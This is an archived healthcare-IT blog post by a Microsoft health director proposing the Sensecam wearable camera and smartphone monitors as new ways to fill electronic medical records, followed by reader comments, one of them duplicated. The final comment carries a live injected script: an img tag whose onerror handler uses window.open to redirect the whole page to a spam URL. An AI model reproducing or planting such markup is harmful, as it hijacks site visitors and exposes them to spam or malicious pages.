HealthBlog

Thoughts, comments, news, and reflections about healthcare IT from Microsoft's worldwide health senior director Bill Crounse, MD, on how information technology can improve healthcare delivery and services around the world.

Microsoft Sensecam as a data input modality for healthcare records

Microsoft Sensecam as a data input modality for healthcare records

  • Comments 10

Last Friday I joined my colleagues from Microsoft Research for a day-long seminar on physiological monitoring, health and wellness.  The seminar was organized by my colleague Nuria Oliver, who is doing some interesting work with the Smartphone as medical monitor (HealthGear). I touched on this topic in a prior Blog entry.  Nuria has developed an application to screen people at home for sleep apnea.  It uses a battery operated pulse oximeter connected to a Smartphone via Bluetooth to record overnight sleep apnea episodes.  She has developed another application that feeds cardiac and respiratory rate into a Smartphone and serves as a kind of personal exercise trainer.

Another device that caught my attention during our MSR seminar was something called a Sensecam.  Previously, I've written about the need for better data input options to help populate the electronic medical record.  This is a huge issue for clinicians because of the vast amount of data that must be entered into our patients' files.  Today, most of that information is captured either by voice dictation and then transcribed to a paper record, or simply written via longhand to a paper record. A frequently cited drawback to electronic records is the productivity lost as physicians try to to type or otherwise enter data into a computer.  But what if we could make better use of some of the other ways we assimilate and record data from the world around us besides the written word.  If I'm examining a rash, a deformity or a wound, why would I want to use written words to describe it in the medical record vs. just taking a digital photo of it and storing it in the patient's file?  Why would I draw a diagram of a patient's hand laceration showing size, location, etc. when I could just insert a photo of it before and after treatment?  In fact, why would I use hundreds of words to describe my treatment, when a condensed video of what I did might provide more detailed information?

The Sensecam is a tiny self-contained device that can be used to record one's interactions with the physical world throughout the day.  The digitized information can be posted to a web site or placed in a folder of life events.  You can read more about how Sensecams are being used at Microsoft Research here:

Maybe there's an opportunity to leverage these kinds of technologies in healthcare.  Maybe we need to think differently about what constitutes a "medical record".  How might we use digital audio, video, graphics and photography to record interactions with our patients and document our findings?  Think about how patients might use these devices to communicate health status to providers.  It's a brave new world and just perhaps, a new direction for the medical record.

What do you think?  Let us know.

Bill Crounse, MD  Healthcare Industry Director     Microsoft Healthcare & Life Sciences 

  • Dr. Crounse,

    I am pleased to see this type of activity gaining traction at Microsoft. eBioStats, my company's flagship product, is focused on providing medical data using portable devices. You can view the 1st generation of products available at http://www.ebiostats.com.

    Regards,
    Christopher Cyvas
    chris.cyvasATgmail.com
  • Bill,
    Interesting blog. I totally agree with you. I invented the Sensecam with many applications in mind but one was patients visiting their GPs (British version of an MD) with for example migraines. The GP's would ask, what did they eat to trigger headache?, when were they travelling etc ?, and I though a built in "black box" data logger with camera would be useful to prototype. contact me for more info, email on my url,
    Lyndsay Williams
    Researcher Micrsoft Research Cambridge UK
  • Interesting idea - re-thinking what the EMR is. As video and audio, etc., are incorporated into a patient's record. One problem will be indexing it and being able to obtain data in a meaningful way.
  • Very insightful thoughts. The challenge will be to sustain these kind of frontal innovations by pulling up the rear-end of health-care IT by making sure that the core communication protocols on which future health care applications will be based, are also being moved ahead at enough speed to accept these types of newer devices and their outputs.
    I'm new to blogging BTW, but work in the healthcare IT field and would like to link to your blog, if that is okay.
    Cheers.
  • Thanks for your comment, Jason.  One idea is to tag audio or video data in much the same way that we would tag an audio recording in Microsoft One Note today.  If you are familiar with One Note, the application lets you record something, like a classroom lecture, and make notes as it is recorded.  Your notes are then automatically  linked to each spot in the audio recording where the information occurs.  Click on a word in your notes, and you are taken back to the exact place in the hour-long recording to listen to the information as it was presented.   I could envision something similar to this for tagging audio or video in the medical record in certain circumstances.  Food for thought!

    Bill Crounse, MD
  • Thanks for your comments Rajan.  And yes, we would welcome your link to our HealthBlog.

    Best always,

    Bill Crounse, MD
  • I realize this concept is still...well, at the conceptual phase... but I don't see this as a viable solution. Why must we re-think the EMR when we've yet to have a REAL, MODERN EMR implementation?

    Without a doubt, data entry is a big problem. But simply video recording the patient encounter is not going to be a good solution. Besides, we can do that now with simple videotape. I use OneNote all the time, so I understand the idea of tagging the audio/video. But ultimately, that data is not analyzable because it hasn't been parsed by any intellegence... it has no metadata and the info isn't flowing into database fields.

    I think dictation has certainly outlived its usefullness, but at least with a transcription, any care provider can rapdily process an enounter in a minute or two with no need for A/V computer/software. I don't see how scrubbing through a 15-minute video of a patient encounter would be as efficient or as useful.

    Before we start rethinking the EMR, why don't we try to actually implement a good EMR? It's very surprising to me that Microsoft didn't enter this space long ago. Why not develop form interfaces that keep up with the pace of care delivery? I see with WPF/Avalon, lots of new visualization techniques will become available, and maybe then someone will spend some time to create data entry widgets that can actually be used to capture (and parse) encounter data in real-time.

    I look forward to reading more in this blog.

    Mike B. (Medical Student)
  • I realize this concept is still...well, at the conceptual phase... but I don't see this as a viable solution. Why must we re-think the EMR when we've yet to have a REAL, MODERN EMR implementation?

    Without a doubt, data entry is a big problem. But simply video recording the patient encounter is not going to be a good solution. Besides, we can do that now with simple videotape. I use OneNote all the time, so I understand the idea of tagging the audio/video. But ultimately, that data is not analyzable because it hasn't been parsed by any intellegence... it has no metadata and the info isn't flowing into database fields.

    I think dictation has certainly outlived its usefullness, but at least with a transcription, any care provider can rapdily process an enounter in a minute or two with no need for A/V computer/software. I don't see how scrubbing through a 15-minute video of a patient encounter would be as efficient or as useful.

    Before we start rethinking the EMR, why don't we try to actually implement a good EMR? It's very surprising to me that Microsoft didn't enter this space long ago. Why not develop form interfaces that keep up with the pace of care delivery? I see with WPF/Avalon, lots of new visualization techniques will become available, and maybe then someone will spend some time to create data entry widgets that can actually be used to capture (and parse) encounter data in real-time.

    I look forward to reading more in this blog.

    Mike B. (Medical Student)
  • Thanks for your comments, Mike.  My intent on this Blog is to stimulate discussion and I very much appreciate your thoughts.  You are correct.  New graphics capabilities in Windows Vista will allow developers to create vastly improved user interfaces.  I look forward to the innovations that will come forward as young clinicians like you, who grew up using PCs, enter the profession.  You will help forge needed changes in the way we assimilate, document and analyze clinical data.  I wish you the very best.

    Bill Crounse, MD
  • my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">

Page 1 of 1 (10 items)
Leave a Comment
  • Please add 2 and 4 and type the answer here:
  • Post